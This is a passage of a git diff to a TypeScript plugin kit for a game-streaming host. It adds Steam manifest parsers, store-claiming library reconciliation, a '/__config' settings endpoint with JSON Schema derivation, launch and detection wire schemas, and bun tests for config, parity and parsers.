line.trimStart(); + const prefix = `"${key}"`; + if (!rest.startsWith(prefix)) return undefined; + const after = rest.slice(prefix.length); + const open = after.indexOf('"'); + if (open === -1) return undefined; + const value = after.slice(open + 1); + const close = value.indexOf('"'); + if (close === -1) return undefined; + return value.slice(0, close); +}; + +/** The first `"" ""` anywhere in a multi-line document. */ +export const vdfField = (text: string, key: string): string | undefined => { + for (const line of text.split("\n")) { + const v = vdfValue(line, key); + if (v !== undefined) return v; + } + return undefined; +}; + +/** + * Every `"path" ""` value in a `libraryfolders.vdf` — the extra drives Steam installs to. + * + * On Windows the values are backslash-escaped (`D:\\SteamLibrary`), so `\\` collapses to `\`. POSIX + * paths need no unescaping, and the collapse is harmless there (a literal `\\` in a Linux path is + * vanishingly rare and was already ambiguous). + */ +export const vdfPaths = (text: string): string[] => + text + .split("\n") + .map((l) => vdfValue(l, "path")) + .filter((p): p is string => p !== undefined) + .map((p) => p.replaceAll("\\\\", "\\")); + +/** One installed title as described by its `appmanifest_.acf`. */ +export interface AppManifest { + readonly appid: number; + readonly name: string; + /** The bare folder name under this library's `common/` — resolve it yourself. */ + readonly installdir?: string; +} + +/** Parse an `.acf` manifest's flat fields. `undefined` when it carries no usable appid+name. */ +export const parseAppManifest = (text: string): AppManifest | undefined => { + const appid = Number(vdfField(text, "appid")); + const name = vdfField(text, "name"); + if (!Number.isInteger(appid) || appid <= 0 || !name) return undefined; + const installdir = vdfField(text, "installdir"); + return installdir ? { appid, name, installdir } : { appid, name }; +}; + +/** + * Steam installs runtimes and redistributables as "apps" too. A *game* library must not list them. + * Ported verbatim from the host scanner so an extracted steam plugin filters identically — the + * parity harness compares entry sets, and a stray Proton row would fail it. + */ +export const isSteamTool = (appid: number, name: string): boolean => { + // Steamworks Common Redistributables; Steam Linux Runtime 1.0/2.0/3.0 (Sniper/Soldier). + const TOOL_IDS = [228980, 1070560, 1391110, 1628350, 1493710]; + if (TOOL_IDS.includes(appid)) return true; + const n = name.toLowerCase(); + return ( + n.includes("proton") || + n.startsWith("steam linux runtime") || + n.includes("steamworks common") || + n.includes("steamvr") + ); +}; diff --git a/plugin-kit/src/react/index.tsx b/plugin-kit/src/react/index.tsx index c4857f70..61f237c3 100644 --- a/plugin-kit/src/react/index.tsx +++ b/plugin-kit/src/react/index.tsx @@ -21,14 +21,25 @@ export const resolvePluginBase = (): string => { export const useIsEmbedded = (): boolean => typeof window !== "undefined" && window.parent !== window; -/** Mirror a route into the console's address bar (best-effort, embedded only). */ +/** + * Mirror a route into the console's address bar (best-effort, embedded only). + * + * The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a + * DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in + * operator — security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would + * target the PLUGIN's origin, not the console's, and every message would be silently dropped. + * + * `"*"` is safe here because the payload is a route path the plugin itself just navigated to — + * nothing secret — and the console verifies `event.origin` against the plugin origin before acting + * on it, so the trust decision is made on the receiving side where it belongs. + */ export const postNavigate = (path: string): void => { try { if (window.parent !== window) { window.parent.postMessage({ type: "pf-ui:navigate", path }, "*"); } } catch { - // cross-origin parent or detached — deep-link sync is best-effort + // detached parent — deep-link sync is best-effort } }; diff --git a/plugin-kit/src/reconcile.ts b/plugin-kit/src/reconcile.ts index 4679f4e3..02dddd6c 100644 --- a/plugin-kit/src/reconcile.ts +++ b/plugin-kit/src/reconcile.ts @@ -9,13 +9,36 @@ import type { ProviderEntry } from "./wire.js"; export * from "./wire.js"; +/** What the host echoed back for one reconciled entry — enough to tell whether a claim took. */ +export interface ReconciledEntry { + readonly id: string; + readonly external_id?: string; + /** The store badge the host assigned: the claim when it honoured one, else `"custom"`. */ + readonly store?: string; +} + export interface ProviderClientService { - /** Full-replace reconcile: PUT the desired set; the host diffs by `external_id`. */ + /** + * Full-replace reconcile: PUT the desired set; the host diffs by `external_id`. + * + * `store` claims that store for this provider (design D2), which is what makes the entries carry + * the store's own identity — deterministic `:` ids instead of opaque + * `custom:` ones, the store's badge, and suppression of the host's matching built-in scanner + * so the two never double-list. One provider per store: a second claimant gets a 409. + * + * Returns the host's echoed entries so a caller can verify the claim actually took — a host + * predating claims ignores the query parameter silently, and the only way to notice is that the + * entries come back as `custom`. + */ readonly reconcile: ( providerId: string, entries: ReadonlyArray, - ) => Effect.Effect; - /** Remove every entry this provider owns (the explicit-uninstall path). */ + store?: string, + ) => Effect.Effect, HostRequestError>; + /** + * Remove every entry this provider owns **and release its store claim** (the explicit-uninstall + * path). Releasing is what brings the host's built-in scanner back. + */ readonly remove: (providerId: string) => Effect.Effect; } @@ -28,10 +51,25 @@ export class ProviderClient extends Context.Service< Effect.gen(function* () { const host = yield* HostClient; return { - reconcile: (providerId, entries) => + reconcile: (providerId, entries, store) => host - .request("PUT", `/library/provider/${providerId}`, entries) - .pipe(Effect.asVoid), + .request( + "PUT", + `/library/provider/${providerId}${ + store ? `?store=${encodeURIComponent(store)}` : "" + }`, + entries, + ) + .pipe( + // The host answers with its resulting entries. An older host may answer + // with something else, so treat a non-array as "no echo" rather than + // failing the sync. + Effect.map((body) => + Array.isArray(body) + ? (body as ReadonlyArray) + : [], + ), + ), remove: (providerId) => host .request("DELETE", `/library/provider/${providerId}`) diff --git a/plugin-kit/src/ui-server.ts b/plugin-kit/src/ui-server.ts index e30a223e..ca12e9b1 100644 --- a/plugin-kit/src/ui-server.ts +++ b/plugin-kit/src/ui-server.ts @@ -3,8 +3,9 @@ // register/renew/deregister through Scope. Validated end-to-end by the phase-0 spike: // core-only env layers, no platform package, SPA fallthrough preserved. import { type PluginUiHandle, servePluginUi } from "@punktfunk/host"; -import { Effect, FileSystem, Layer, Path, Scope } from "effect"; +import { Effect, FileSystem, Layer, Path, Schema, Scope } from "effect"; import { Etag, HttpPlatform, HttpRouter } from "effect/unstable/http"; +import type { ConfigService } from "./config.js"; import { UiServeError } from "./errors.js"; import { HostClient, PluginInfo } from "./host-client.js"; @@ -17,6 +18,100 @@ export const httpApiEnv = Layer.provideMerge( FileSystem.layerNoop({}), ); +/** + * Derive a JSON Schema for a config schema, for the console's generic settings form. + * + * Returns `null` when derivation isn't possible, which the console reads as "render the raw JSON + * editor instead" — the fallback that bounds this whole feature's risk. + * + * Authoring rules, verified against effect 4.0.0-beta.99 and pinned by + * `test/library-config.test.ts` — if an effect upgrade changes any of them, that test fails: + * + * * Use `Schema.Finite` / `Schema.Int`, **never `Schema.Number`** — Number's *encoded* form admits + * the strings `"NaN"`/`"Infinity"`/`"-Infinity"`, so it derives a four-way `anyOf` that no sane + * form can render as a number input. + * * A decoding default is an **Effect**: `withDecodingDefaultKey(Effect.succeed(true), …)`. Passing + * a bare thunk (`() => true`) still derives a schema and still type-checks, then dies at DECODE + * time with "Not a valid effect" — deriving is not evidence that the schema works. + * * Annotate every field: `.annotate({ title, description, default })`. The derivation does NOT + * infer `default` from `withDecodingDefaultKey`, so an un-annotated field shows no placeholder. + * * A *checked* schema (`Schema.Int`, or anything with `.check(...)`) nests its annotations and + * constraints under `allOf`, so a form must merge those branches, not read only the top level. + * * `Schema.Literals([...])` derives a clean `enum` — prefer it over a union of strings. A union of + * non-literals derives an `anyOf`, which is the JSON-editor fallback case. + * * Fields carrying `withDecodingDefaultKey(..., { encodingStrategy: "omit" })` correctly drop out + * of `required`, which is what keeps the raw file free of baked-in defaults. + */ +export const deriveConfigJsonSchema = ( + schema: Schema.Top, +): Record | null => { + try { + const doc = Schema.toJsonSchemaDocument(schema as never); + return doc as unknown as Record; + } catch { + // A schema shape the derivation can't express (a transform, a recursive ref). The console + // falls back to the JSON editor; the PUT still validates by decode, so nothing is lost but + // the pretty form. + return null; + } +}; + +/** The plugin config surface the console's settings drawer drives. */ +export interface ServeUiConfig { + /** The schema the raw file is validated against, and the form is derived from. */ + readonly schema: S; + /** The config service (from `makeConfigService`) holding the raw round-trip semantics. */ + readonly service: ConfigService; +} + +/** + * The `/__config` request handler, split out so it can be driven directly in tests (the wire shape + * is the contract the console's settings drawer codes against — it deserves a real round-trip test, + * not a mock). + * + * `ConfigService`'s effects are context-free by construction (the `PluginInfo` was resolved when the + * service was built), so this runs them straight from a plain async handler. + */ +export const makeConfigHandler = ( + cfg: ServeUiConfig, +): ((req: Request) => Promise) => { + // The derivation is stable for the life of the process — do it once, not per request. + const schema = deriveConfigJsonSchema(cfg.schema); + return async (req: Request): Promise => { + if (req.method === "GET") { + // A config file that fails to decode must not blank the whole drawer — answer with a + // null value so the operator can still see (and replace) what is on disk. + const value = await Effect.runPromise(cfg.service.loadRaw).catch( + () => null, + ); + return Response.json({ schema, value }); + } + if (req.method === "PUT") { + let body: unknown; + try { + body = await req.json(); + } catch (cause) { + return Response.json( + { error: "body must be JSON", issue: String(cause) }, + { status: 400 }, + ); + } + try { + // Validate-by-decode, persist RAW: `saveRaw` refuses a body the schema rejects and + // never writes decoded defaults back into the operator's file. + await Effect.runPromise(cfg.service.saveRaw(body)); + return Response.json({ ok: true }); + } catch (cause) { + return Response.json( + { error: "config rejected", issue: String(cause) }, + { status: 400 }, + ); + } + } + return new Response("method not allowed", { status: 405 }); + }; +}; + export interface ServeUiOptions { /** Console nav title. */ readonly title: string; @@ -26,12 +121,33 @@ export interface ServeUiOptions { readonly version?: string; /** Built SPA directory (served with SPA fallback by the SDK). */ readonly staticDir?: string | URL; + /** + * What kind of plugin this is (`[a-z][a-z0-9-]{0,31}`). `"library"` keeps the plugin out of the + * console nav — its entry point is the Library section's Game sources surface instead. + */ + readonly category?: string; + /** + * Serve `GET`/`PUT /__config` for the console's **generic settings form**, so a plugin with + * settings does not need to ship an SPA at all. + * + * `GET` answers `{schema, value}` — the derived JSON Schema (or `null`) and the raw, + * operator-authored config. `PUT` validates by decoding the body against the schema and, only + * then, persists it **raw**; defaults are never baked into the file. A rejected body comes back + * 400 with the decode issue. + * + * Auth is the existing per-boot UI secret — the console reaches this through its session-gated + * `/plugin-ui//…` proxy, so there is no new host surface and nothing new exposed to the LAN. + */ + readonly config?: ServeUiConfig; /** * The plugin API: `HttpApiBuilder.layer(api)` + group handler layers + raw routes * (e.g. `sseRoute`), with plugin services already provided. `httpApiEnv` is provided * here — only `HttpRouter` may remain open. + * + * Optional: a plugin whose only surface is `__config` (every library scanner) serves no API of + * its own, and omitting this leaves an empty router that 404s under `apiPrefix`. */ - readonly api: Layer.Layer; + readonly api?: Layer.Layer; /** Path prefix owned by the API handler (default "/api/"). */ readonly apiPrefix?: string; } @@ -54,14 +170,22 @@ export const serveUi = ( const prefix = opts.apiPrefix ?? "/api/"; const { handler, dispose } = HttpRouter.toWebHandler( - Layer.provide(opts.api, httpApiEnv), + Layer.provide(opts.api ?? Layer.empty, httpApiEnv), ); yield* Effect.addFinalizer(() => Effect.promise(() => dispose()).pipe(Effect.ignore), ); + const serveConfig = opts.config ? makeConfigHandler(opts.config) : undefined; + const fetch = async (req: Request): Promise => { const url = new URL(req.url); + // `__`-prefixed paths are the kit/SDK's own contract surface (`__health` lives in the + // SDK), deliberately checked BEFORE the API prefix and before any static asset so a + // plugin's own routes can never shadow them. + if (url.pathname === "/__config") { + return serveConfig?.(req) ?? new Response("not found", { status: 404 }); + } if (!url.pathname.startsWith(prefix)) return undefined; // → static SPA return handler(req); }; @@ -79,6 +203,9 @@ export const serveUi = ( ...(opts.staticDir !== undefined ? { staticDir: opts.staticDir } : {}), + ...(opts.category !== undefined + ? { category: opts.category } + : {}), fetch, }), catch: (cause) => new UiServeError({ cause }), diff --git a/plugin-kit/src/wire.ts b/plugin-kit/src/wire.ts index 566cc851..28ea43b6 100644 --- a/plugin-kit/src/wire.ts +++ b/plugin-kit/src/wire.ts @@ -12,12 +12,45 @@ export const Artwork = Schema.Struct({ }); export type Artwork = typeof Artwork.Type; +/** + * How the host should launch a title. **The host owns this vocabulary** — it validates the value + * per kind and builds the actual URI / command line itself, so a plugin only ever supplies a + * validated value, never a command. That is the security invariant behind the whole provider lane: + * a client sends an entry id, and the host resolves what to run. + * + * `kind` is a plain string rather than a union so the kit never has to ship a release to keep up + * with a host that grew a new kind. The kinds the host understands today: + * + * | kind | value | platforms | + * |---|---|---| + * | `command` | a shell command (operator-trust tier) | both | + * | `steam_appid` | digits — an appid, or a 64-bit non-Steam-shortcut game id | both | + * | `steam_ui` | `bigpicture` \| `desktop` — opens the Steam client itself | both | + * | `launcher_ui` | a store id (`heroic`, `lutris`) — opens that launcher's own UI | linux | + * | `lutris_id` | digits — a pga.db game id | linux | + * | `heroic` | `:`, runner ∈ legendary/gog/nile | linux | + * | `epic` | `::` or a bare appName | windows | + * | `gog` | `exe \t args \t workdir` | windows | + * | `aumid` | `!` | windows | + * + * An unknown kind is accepted on the wire and simply yields no launch recipe on that host, so a + * plugin targeting a newer host degrades to an unlaunchable tile rather than a failed reconcile. + */ export const LaunchSpec = Schema.Struct({ - kind: Schema.Literal("command"), + kind: Schema.String, value: Schema.String, }); export type LaunchSpec = typeof LaunchSpec.Type; +/** + * Whether an entry is an ordinary title or the launcher application itself (Steam Big Picture, + * Heroic, Playnite fullscreen). Launcher entries launch, lease and list exactly like games; a + * console or client that knows the field groups them into their own rail, and one that doesn't + * renders them as plain tiles. + */ +export const GameRole = Schema.Literals(["game", "launcher"]); +export type GameRole = typeof GameRole.Type; + export const PrepStep = Schema.Struct({ do: Schema.String, undo: Schema.optionalKey(Schema.NullOr(Schema.String)), @@ -43,6 +76,28 @@ export const DetectHint = Schema.Struct({ exe: Schema.optionalKey(Schema.NullOr(Schema.String)), /** The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest signal. */ process_name: Schema.optionalKey(Schema.NullOr(Schema.String)), + /** + * The Steam appid, for a title Steam itself installed. On Linux this is the **sharpest** signal + * there is: Steam wraps every launch — native or Proton — in `reaper SteamLaunch AppId=`, + * whose lifetime is exactly the game's. Send it if you have it. + */ + steam_appid: Schema.optionalKey(Schema.NullOr(Schema.Number)), + /** + * An environment variable the launcher stamps on the game's process. Load-bearing for launchers + * that run games under Proton/Wine, where the process tree tells you very little (Heroic's + * `HEROIC_APP_NAME` is the verified case). Omit `value` to match on the key's mere presence — + * only safe for a launcher that runs one game at a time. + */ + env_marker: Schema.optionalKey( + Schema.NullOr( + Schema.Struct({ + /** `[A-Za-z0-9_]{1,64}` — the host rejects anything else. */ + key: Schema.String, + /** At most 256 chars. */ + value: Schema.optionalKey(Schema.NullOr(Schema.String)), + }), + ), + ), }); export type DetectHint = typeof DetectHint.Type; @@ -76,6 +131,8 @@ export const ProviderEntry = Schema.Struct({ launch: Schema.optionalKey(Schema.NullOr(LaunchSpec)), prep: Schema.optionalKey(Schema.Array(PrepStep)), detect: Schema.optionalKey(DetectHint), + /** `"game"` (default) or `"launcher"` — see {@link GameRole}. */ + role: Schema.optionalKey(GameRole), ...GameMeta.fields, }); export type ProviderEntry = typeof ProviderEntry.Type; diff --git a/plugin-kit/test/library-config.test.ts b/plugin-kit/test/library-config.test.ts new file mode 100644 index 00000000..9c398bf0 --- /dev/null +++ b/plugin-kit/test/library-config.test.ts @@ -0,0 +1,240 @@ +// The `__config` contract — the wire shape the console's generic settings drawer codes against, +// plus the JSON-Schema derivation's committed fixture (design M0/S2). +// +// The derivation fixture is not decoration: it is the record of WHICH schema shapes the generic +// form can render. If an effect upgrade changes any of it, this test fails and the console's form +// needs re-checking before the change ships — far cheaper than discovering it on a user's box. +import { describe, expect, test } from "bun:test"; +import * as fs from "node:fs"; +import * as os from "node:os"; +import * as path from "node:path"; +import { Effect, Layer, Schema } from "effect"; +import { makeConfigService } from "../src/config.js"; +import { pluginInfoLayer } from "../src/host-client.js"; +import { deriveConfigJsonSchema, makeConfigHandler } from "../src/ui-server.js"; + +/** A representative scanner config: booleans, a string, a string array, a nested object, an enum. */ +const ScannerConfig = Schema.Struct({ + enabled: Schema.Boolean.annotate({ + title: "Enable scanning", + description: "Whether this source contributes titles.", + default: true, + }).pipe( + Schema.withDecodingDefaultKey(Effect.succeed(true), { + encodingStrategy: "omit", + }), + ), + root: Schema.optionalKey( + Schema.String.annotate({ title: "Launcher root", description: "Absolute path." }), + ), + extraRoots: Schema.Array(Schema.String) + .annotate({ title: "Extra roots" }) + .pipe( + Schema.withDecodingDefaultKey( + Effect.succeed([] as ReadonlyArray), + { encodingStrategy: "omit" }, + ), + ), + launchers: Schema.Struct({ + bigpicture: Schema.Boolean.annotate({ title: "Big Picture", default: true }), + desktop: Schema.Boolean.annotate({ title: "Desktop", default: false }), + }).pipe( + Schema.withDecodingDefaultKey( + Effect.succeed({ bigpicture: true, desktop: false }), + { encodingStrategy: "omit" }, + ), + ), + pollMinutes: Schema.Int.annotate({ + title: "Poll interval (minutes)", + default: 15, + }).pipe( + Schema.withDecodingDefaultKey(Effect.succeed(15), { + encodingStrategy: "omit", + }), + ), + artSource: Schema.Literals(["local", "cdn", "both"]) + .annotate({ title: "Art source", default: "both" }) + .pipe( + Schema.withDecodingDefaultKey(Effect.succeed("both" as const), { + encodingStrategy: "omit", + }), + ), +}); + +const props = (): Record> => { + const doc = deriveConfigJsonSchema(ScannerConfig) as { + schema: { properties: Record> }; + }; + return doc.schema.properties; +}; + +describe("S2 — JSON Schema derivation for __config", () => { + test("derives a renderable form for every shape a scanner config uses", () => { + const p = props(); + expect(p.enabled).toMatchObject({ type: "boolean" }); + expect(p.root).toMatchObject({ type: "string" }); + expect(p.extraRoots).toMatchObject({ + type: "array", + items: { type: "string" }, + }); + // A nested object stays nested — the form renders a fieldset, not a JSON blob. + expect(p.launchers).toMatchObject({ + type: "object", + properties: { bigpicture: { type: "boolean" }, desktop: { type: "boolean" } }, + }); + // A literal union derives a clean enum — prefer it over a union of strings. + expect(p.artSource).toMatchObject({ + type: "string", + enum: ["local", "cdn", "both"], + }); + }); + + test("annotations pass through — they are the ONLY source of labels and defaults", () => { + const p = props(); + expect(p.enabled.title).toBe("Enable scanning"); + expect(p.enabled.description).toBe("Whether this source contributes titles."); + // The derivation does NOT infer `default` from withDecodingDefaultKey, so an un-annotated + // field shows the form no placeholder at all. Annotate every field. + expect(p.enabled.default).toBe(true); + expect(p.artSource.default).toBe("both"); + // A CHECKED schema (Int is String-plus-a-check) nests its annotations under `allOf`, so a + // form reading `default` must merge allOf branches rather than only looking at the top level. + expect(p.pollMinutes.allOf).toEqual([ + { default: 15, title: "Poll interval (minutes)" }, + ]); + }); + + test("a decoding default is an Effect, not a thunk — and it actually applies", () => { + // The trap this pins: `withDecodingDefaultKey` takes an `Effect`, and passing a bare thunk + // (`() => true`) type-checks against the derivation path but blows up at DECODE time with + // "Not a valid effect". Deriving a schema is therefore NOT evidence that it works. + expect(Schema.decodeUnknownSync(ScannerConfig)({})).toMatchObject({ + enabled: true, + pollMinutes: 15, + artSource: "both", + launchers: { bigpicture: true, desktop: false }, + }); + }); + + test("Schema.Int derives a plain integer — Schema.Number does NOT", () => { + expect(props().pollMinutes).toMatchObject({ type: "integer" }); + // The trap, pinned: Schema.Number's ENCODED form admits "NaN"/"Infinity"/"-Infinity", so it + // derives a four-way anyOf that no number input can render. Use Finite or Int. + const bad = deriveConfigJsonSchema( + Schema.Struct({ n: Schema.Number }), + ) as { schema: { properties: { n: { anyOf?: unknown[] } } } }; + expect(Array.isArray(bad.schema.properties.n.anyOf)).toBe(true); + const ok = deriveConfigJsonSchema( + Schema.Struct({ n: Schema.Finite }), + ) as { schema: { properties: { n: { type?: string } } } }; + expect(ok.schema.properties.n.type).toBe("number"); + }); + + test("defaulted fields drop out of `required` — the raw file stays default-free", () => { + const doc = deriveConfigJsonSchema(ScannerConfig) as { + schema: { required?: string[] }; + }; + // Every field here either has a decoding default or is optionalKey, so nothing is required. + expect(doc.schema.required ?? []).toEqual([]); + }); +}); + +describe("__config wire contract", () => { + const withService = async ( + use: (handler: (req: Request) => Promise, file: string) => Promise, + ): Promise => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "pf-kit-cfg-")); + const prev = process.env.PUNKTFUNK_CONFIG_DIR; + process.env.PUNKTFUNK_CONFIG_DIR = dir; + try { + const service = await Effect.runPromise( + makeConfigService({ schema: ScannerConfig }).pipe( + Effect.provide( + Layer.mergeAll(pluginInfoLayer({ name: "steam", version: "0.1.0" })), + ), + ), + ); + return await use( + makeConfigHandler({ schema: ScannerConfig, service }), + service.path, + ); + } finally { + if (prev === undefined) delete process.env.PUNKTFUNK_CONFIG_DIR; + else process.env.PUNKTFUNK_CONFIG_DIR = prev; + fs.rmSync(dir, { recursive: true, force: true }); + } + }; + + test("GET answers {schema, value} with an absent file reading as empty", async () => { + await withService(async (handler) => { + const res = await handler(new Request("http://x/__config")); + expect(res.status).toBe(200); + const body = (await res.json()) as { schema: unknown; value: unknown }; + // Both keys are ALWAYS present and never `undefined` — the console decodes this shape, + // and an omitted-vs-null field is the wire trap that bit the rom-manager 0.3.1 release. + expect(body).toHaveProperty("schema"); + expect(body).toHaveProperty("value"); + expect(body.schema).not.toBeNull(); + // A missing config file is an EMPTY config, not an error. + expect(body.value).toEqual({}); + }); + }); + + test("PUT validates by decode, persists RAW, and never bakes in defaults", async () => { + await withService(async (handler, file) => { + const res = await handler( + new Request("http://x/__config", { + method: "PUT", + body: JSON.stringify({ enabled: false }), + }), + ); + expect(res.status).toBe(200); + // The file holds exactly what was authored — the five defaulted fields are NOT written, + // which is what keeps a future change to a default from being silently pinned. + expect(JSON.parse(fs.readFileSync(file, "utf8"))).toEqual({ + enabled: false, + }); + const get = (await ( + await handler(new Request("http://x/__config")) + ).json()) as { value: unknown }; + expect(get.value).toEqual({ enabled: false }); + }); + }); + + test("PUT rejects a body the schema refuses, with the issue, and writes nothing", async () => { + await withService(async (handler, file) => { + const res = await handler( + new Request("http://x/__config", { + method: "PUT", + body: JSON.stringify({ enabled: "yes please" }), + }), + ); + expect(res.status).toBe(400); + const body = (await res.json()) as { error: string; issue: string }; + expect(body.error).toBe("config rejected"); + expect(body.issue.length).toBeGreaterThan(0); + expect(fs.existsSync(file)).toBe(false); + }); + }); + + test("PUT rejects a non-JSON body", async () => { + await withService(async (handler) => { + const res = await handler( + new Request("http://x/__config", { method: "PUT", body: "not json" }), + ); + expect(res.status).toBe(400); + expect(((await res.json()) as { error: string }).error).toBe( + "body must be JSON", + ); + }); + }); + + test("other methods are refused", async () => { + await withService(async (handler) => { + const res = await handler( + new Request("http://x/__config", { method: "DELETE" }), + ); + expect(res.status).toBe(405); + }); + }); +}); diff --git a/plugin-kit/test/library-parity.test.ts b/plugin-kit/test/library-parity.test.ts new file mode 100644 index 00000000..2abc3f5a --- /dev/null +++ b/plugin-kit/test/library-parity.test.ts @@ -0,0 +1,186 @@ +// The parity harness is the release gate for every extracted scanner, so the thing that decides +// pass/fail needs its own tests. The cases below are the ones that actually happen during a port: +// a lost title, a wrong id, a dropped launch recipe, art whose representation changed but whose +// presence didn't, and the launcher entries the plugin legitimately adds. +import { describe, expect, test } from "bun:test"; +import { + claimedLibraryId, + diffParity, + formatParityReport, + fromHostEntry, + fromProviderEntry, + type HostGameEntry, +} from "../src/library/parity.js"; +import type { ProviderEntry } from "../src/wire.js"; + +/** What the host reports while its BUILT-IN steam scanner is producing the library. */ +const hostEntry = (over: Partial = {}): HostGameEntry => ({ + id: "steam:440", + store: "steam", + title: "Team Fortress 2", + launch: { kind: "steam_appid", value: "440" }, + // The scanner emits host-relative proxy paths the CLIENT resolves. + art: { + portrait: "/api/v1/library/art/steam:440/portrait", + hero: "/api/v1/library/art/steam:440/hero", + logo: null, + header: "/api/v1/library/art/steam:440/header", + }, + platform: "PC", + ...over, +}); + +/** What the extracted plugin produces for the same title. */ +const pluginEntry = (over: Partial = {}): ProviderEntry => + ({ + external_id: "440", + title: "Team Fortress 2", + launch: { kind: "steam_appid", value: "440" }, + // The plugin emits file:// paths and CDN URLs — a DIFFERENT representation of the same art. + art: { + portrait: "file:///home/u/.steam/appcache/librarycache/440/a/p.jpg", + hero: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/library_hero.jpg", + header: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/header.jpg", + }, + platform: "PC", + ...over, + }) as ProviderEntry; + +describe("id mapping", () => { + test("a claimed entry's id is the scanner's id", () => { + // The whole migration rests on this one line: Moonlight pins, GameStream app ids and client + // art caches are all derived from it. + expect(claimedLibraryId("steam", "440")).toBe("steam:440"); + expect(claimedLibraryId("heroic", "legendary:Quail")).toBe( + "heroic:legendary:Quail", + ); + }); +}); + +describe("diffParity", () => { + const base = [fromHostEntry(hostEntry())]; + + test("a faithful port passes, even though the art VALUES all changed", () => { + const r = diffParity(base, [fromProviderEntry("steam", pluginEntry())]); + expect(r.ok).toBe(true); + expect(r.matched).toBe(1); + expect(r.changed).toEqual([]); + expect(formatParityReport(r)).toContain("parity OK"); + }); + + test("a lost title is reported as missing", () => { + const r = diffParity(base, []); + expect(r.ok).toBe(false); + expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]); + expect(formatParityReport(r)).toContain("missing: steam:440"); + }); + + test("a wrong id shows up as BOTH missing and extra — the loudest failure", () => { + // The exact shape of the bug this harness exists to catch: the plugin found the title, but + // under an id nothing downstream recognizes. + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ external_id: "440.0" })), + ]); + expect(r.ok).toBe(false); + expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]); + expect(r.extra.map((e) => e.id)).toEqual(["steam:440.0"]); + }); + + test("a changed launch recipe is caught", () => { + const r = diffParity(base, [ + fromProviderEntry( + "steam", + pluginEntry({ launch: { kind: "command", value: "steam" } }), + ), + ]); + expect(r.ok).toBe(false); + expect(r.changed).toEqual([ + { + id: "steam:440", + field: "launch", + before: "steam_appid:440", + after: "command:steam", + }, + ]); + }); + + test("a dropped launch recipe is caught (an unlaunchable tile)", () => { + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ launch: null })), + ]); + expect(r.changed.map((c) => c.field)).toEqual(["launch"]); + }); + + test("LOSING an art kind fails; gaining one does not", () => { + const lost = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ art: { portrait: null } })), + ]); + expect(lost.ok).toBe(false); + expect(lost.changed.map((c) => c.field)).toContain("art.portrait"); + + // The baseline had no logo; the plugin resolves one. That is an improvement, and failing the + // run over it would only train people to ignore the harness. + const gained = diffParity(base, [ + fromProviderEntry( + "steam", + pluginEntry({ + art: { ...pluginEntry().art, logo: "file:///l.png" }, + }), + ), + ]); + expect(gained.ok).toBe(true); + }); + + test("metadata drift is caught, but absent-vs-empty is not drift", () => { + const changed = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ platform: "Linux" })), + ]); + expect(changed.changed).toEqual([ + { id: "steam:440", field: "meta.platform", before: "PC", after: "Linux" }, + ]); + // The host omits empty lists and nulls; a plugin sending them has changed nothing. + const noise = diffParity(base, [ + fromProviderEntry( + "steam", + pluginEntry({ genres: [], tags: [], region: null } as never), + ), + ]); + expect(noise.ok).toBe(true); + }); + + test("launcher entries are expected extras, not failures", () => { + // The built-in scanner had no concept of a launcher entry, so it can never be in the + // baseline — reporting it as `extra` would fail every steam run forever. + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry()), + fromProviderEntry( + "steam", + pluginEntry({ + external_id: "ui:bigpicture", + title: "Steam Big Picture", + role: "launcher", + launch: { kind: "steam_ui", value: "bigpicture" }, + art: {}, + } as never), + ), + ]); + expect(r.ok).toBe(true); + expect(r.extra).toEqual([]); + expect(r.launchersAdded.map((e) => e.id)).toEqual(["steam:ui:bigpicture"]); + expect(formatParityReport(r)).toContain("+1 launcher entry"); + }); + + test("an ordinary title the scanner never had IS a failure", () => { + // The mirror of the case above: only `role: "launcher"` gets the exemption, so a plugin that + // invents games (a bad filter, a tool listed as a game) still fails. + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry()), + fromProviderEntry( + "steam", + pluginEntry({ external_id: "228980", title: "Steamworks Common" }), + ), + ]); + expect(r.ok).toBe(false); + expect(r.extra.map((e) => e.id)).toEqual(["steam:228980"]); + }); +}); diff --git a/plugin-kit/test/library-parsers.test.ts b/plugin-kit/test/library-parsers.test.ts new file mode 100644 index 00000000..ae290c7d --- /dev/null +++ b/plugin-kit/test/library-parsers.test.ts @@ -0,0 +1,368 @@ +// The parser ports, tested against the SAME cases the host's Rust scanners pin. +// +// These are not "does TypeScript work" tests. The formats here are undocumented and the host's +// versions are the reference implementation; a port that drifts produces a library that looks fine +// and launches nothing. Where a Rust test exists, its assertions are carried over verbatim — the +// per-plugin parity harness (design M5) then checks the whole pipeline against a live host, but +// these catch a drift long before that. +import { describe, expect, test } from "bun:test"; +import { Database } from "bun:sqlite"; +import * as fs from "node:fs"; +import * as os from "node:os"; +import * as path from "node:path"; +import { + confinedJoin, + crc32, + findGridArtFile, + findLocalArtFile, + fileUrl, + gridFilenames, + isSteamTool, + withReadOnlyDb, + openReadOnly, + parseAppManifest, + parseRegQuery, + parseShortcuts, + readTextCapped, + shortcutAppId, + shortcutGameId, + steamCdnUrl, + vdfPaths, + vdfValue, +} from "../src/library/parsers/index.js"; + +const tmp = (name: string): string => { + const dir = path.join(os.tmpdir(), `pf-kit-${name}-${process.pid}`); + fs.mkdirSync(dir, { recursive: true }); + return dir; +}; + +describe("text VDF / ACF", () => { + test("vdfValue extracts a quoted field", () => { + expect(vdfValue('"path"\t\t"/mnt/games/SteamLibrary"', "path")).toBe( + "/mnt/games/SteamLibrary", + ); + expect(vdfValue('"appid"\t\t"570"', "appid")).toBe("570"); + expect(vdfValue('"name"\t\t"Dota 2"', "name")).toBe("Dota 2"); + // Wrong key → nothing (a prefix match must not leak the neighbouring field). + expect(vdfValue('"installdir"\t\t"x"', "appid")).toBeUndefined(); + }); + + test("vdfPaths 